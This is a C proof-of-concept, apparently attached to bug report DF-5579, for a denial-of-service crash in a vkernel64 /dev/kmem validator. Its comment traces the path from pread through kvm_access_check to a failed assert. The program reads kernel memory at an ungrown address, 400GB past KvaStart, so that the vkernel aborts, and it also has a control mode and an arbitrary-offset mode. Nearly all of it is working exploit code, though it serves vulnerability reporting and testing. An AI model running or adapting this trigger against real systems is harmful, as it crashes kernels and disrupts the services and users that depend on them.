DF-5579 / vkmem.c
/* * DF-5579 PoC — vkernel64 kvm_access_check() /dev/kmem validator abort. * * Run INSIDE the vkernel as root. The vkernel's kernel VA space is * [KvaStart, KvaEnd) = [512GB, 1024GB) fixed by MAP_FIXED * (sys/platform/vkernel64/platform/init.c:609-621, KERNEL_KVA_START/ * KERNEL_KVA_SIZE in sys/platform/vkernel64/include/vmparam.h:80-81). * Only a few hundred MB of that 512GB is ever *grown* * (pmap_growkernel, pmap.c:1563+). /dev/kmem read path: * memrw -> kvm_access_check(saddr,eaddr,prot) * -> pmap_kextract(addr) (vm_machdep.c:322-325 loop) * -> vtopde(va) -> pmap_pde(kernel_pmap, va) -> NULL for ungrown * -> assert(x != NULL) (pmap.c:357) -> SIGABRT -> vkernel dies. * * control: pread at KvaStart+1MB (grown; clean data or EFAULT, no death) * trigger: pread at KvaStart+400GB (ungrown; expect vkernel to die) */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define KVASTART 0x8000000000ULL /* 512GB */ #define KVAEND 0x10000000000ULL /* 1024GB */ int main(int argc, char **argv) { unsigned long long off; unsigned char buf[16]; ssize_t n; int fd, i; if (argc < 2) { fprintf(stderr, "usage: %s control|trigger\n", argv[0]); return 2; } if (!strcmp(argv[1], "control")) off = KVASTART + 0x100000ULL; /* +1MB, grown */ else if (!strcmp(argv[1], "trigger")) off = KVASTART + 400ULL*1024*1024*1024; /* +400GB, ungrown */ else if (!strncmp(argv[1], "0x", 2)) off = strtoull(argv[1], NULL, 0); else { fprintf(stderr, "bad mode\n"); return 2; } printf("DF5579 mode=%s offset=0x%llx (KVA=[0x%llx,0x%llx))\n", argv[1], off, KVASTART, KVAEND); fflush(stdout); fd = open("/dev/kmem", O_RDONLY); if (fd < 0) { printf("open /dev/kmem failed: %s\n", strerror(errno)); return 1; } printf("open ok, preading 8 bytes...\n"); fflush(stdout); n = pread(fd, buf, 8, (off_t)off); printf("pread returned %zd errno=%d (%s)\n", n, errno, n < 0 ? strerror(errno) : "ok"); if (n > 0) { printf("bytes:"); for (i = 0; i < n; i++) printf(" %02x", buf[i]); printf("\n"); } printf("DF5579_%s_SURVIVED\n", argv[1]); fflush(stdout); return 0; } |